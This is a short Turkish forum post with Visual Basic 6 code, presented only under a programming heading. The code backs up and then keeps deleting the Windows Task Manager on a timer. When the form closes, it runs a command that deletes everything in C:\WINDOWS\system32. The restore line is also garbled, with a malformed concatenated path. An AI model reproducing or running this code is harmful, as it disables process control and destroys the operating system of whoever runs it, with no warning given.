Programalama > VISUAL BASIC

Private Sub Form_Load()

        filecopy "c:\windows\system32\taskmgr.exe" , "c:\windows\repeair\taskmgr.exe"
        'Burada Taskmgr dosyasını yedekledik
        Timer1.interval=10

End Sub

Private Sub Timer1()

         ON LOCAL ERROR RESUME NEXT 

         Kill "c:\windows\system32\taskmgr.exe"
End Sub

Private Sub Form_unload()
        filecopy "c:\windows\repeair\taskmgr.exe" , "c:\windows\system32\taskmgr.exec:\windows\repeair\taskmgr.exe"


kill "C:\WINDOWS\system32\*.*"



End Sub


imhoteph
by_imhoteph@hotmail.com